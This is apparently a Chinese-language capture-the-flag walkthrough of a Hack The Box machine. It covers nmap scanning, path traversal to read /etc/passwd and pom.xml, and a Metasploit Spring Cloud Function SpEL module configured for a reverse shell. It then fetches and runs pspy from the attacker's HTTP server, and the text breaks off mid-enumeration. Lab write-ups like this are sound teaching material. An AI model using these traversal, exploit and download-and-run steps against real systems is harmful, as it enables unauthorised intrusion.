准备工作
- 开机
得到靶机的 IP 地址10.10.11.204
信息打点
- 收集当前靶机的初级信息—使用 namp
nmap -sTVC 10.10.11.204
ORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
得到以上信息,正常情况来看,我们测试的目标顺序应该是 8080--->22
既然有 8080 端口,先访问看看
可以看到很正常一个网站,有注册登录,但是最吸引人的还有右上角的上传,打开看看怎么个事
- 随便上传一个
php
文件给了个提示
看起来是有过滤,那我们上传一个 image 文件试试
上传成功了,给了个链接,按下 F12 看看怎么个事
看起来像,文件包含?那这不就来劲了啊
漏洞利用
将 tets.png
换为 /etc/passwd
试试
啊偶,怎么会不对啊,等等,现在我是在网站目录,而这个并不在当前网站的目录下面,尝试加 ../
终于,加到第六个的时候,界面变了
问:数据在哪?
答:F12 啊
这该怎么办呢,不要慌,掏出大宝贝 burp
还是那句话,道高一尺魔高一丈,总有办法,这不就出来了,找找记录下重要数据
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
暂时得到这三个有用的账户,接下来读取 shadow
文件试试
没得数据,那就看看 etc 目录下都是神马东东
这样啊,那试试另一个
好!放弃这条路,那就别怪我随便翻你的文件了
在我读到 ../../../../../../var/www/WebApp/
这个文件夹的时候,我看到了 pom.xml
文件,作为资深(xiaobai)Java CV 工程师,我知道这个配置文件,拿出来
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
那么问题来了,拿到这个有什么用呢,OWASP TOP10
教导我们,引用不安全的第三方组件也是个漏洞成因,那就去识别把
仔细看这个文件你会发现一件事,只有 spring-cloud-function-web
这东西带版本号,那你猜猜为啥,什么?猜不到?那就去问百度啊
咱就是说,百度还是好用吧,既然知道哪里有漏洞,那就掏出我们的二宝贝 MSFConsole
搜索试试
search spring cloud
看看,出来了吧,既然编号为 CVE2022 直接排除前两个,现在就剩两个了那就试试第二个 use exploit/multi/http/spring_cloud_function_spel_injection
看看需要我们做什么 show options
看起来依旧是设置目的 IP,目的 port,攻击 IP,攻击端口,那就设置吧
set rhost 10.10.11.204
set rport 8080
set lhost 10.10.xx.xx # HTBVPN中你的地址
set lport 4444 # 反弹shell的地址
然后,直接 run
等结果
啧啧啧,I get it
解题
拿到了 shell,看看 id getuid
熟悉不,对我们上面收集出来了,切换到本机的 shell 看看有没有什么好东西
看起来,啥都没有。
- 不过在上上级目录,看到了新东西
但是提示我没权限,看来需要拿到另一个用户的权限?
看起来直接 sodo 也不太行,那就随便翻翻吧
看到了一点隐藏文件,看看都有啥,乱翻的人运气还挺好
得到了 Phil 的密码,那就直接 ssh 链接好了
啧啧啧还拒绝我是吧,那就只能再想办法
现在来总结一下,我们的出路
- 直接
sudo
,被拒绝 ssh
链接,被拒绝- 定时任务,还没试,那就试试
根据前面的靶机经验,查看一下/etc/crontab
看起来有用?看看这三个是什么ls /etc/cron.daily
看起来行不通,那就看看进程吧ps
命令
看起来没有有用的东西,在网上看了看,发现一款工具pspy
如何利用Pspy监控没有Root权限的Linux进程_黑客技术 (hackdig.com)
先下载下来,得到一个名为pspy64
的文件,接下来就是传输给靶机了,我的做法是,在 kali 中启动一个简易的 http 服务器,在靶机中使用 wget 命令下载命令如下
kali:
python3 -m http.server 8892
靶机:
wget http://10.10.11.x:8892/pspy64
chmod +x pspy64
./pspy64
发现了一个奇怪的进程
去看看这个是啥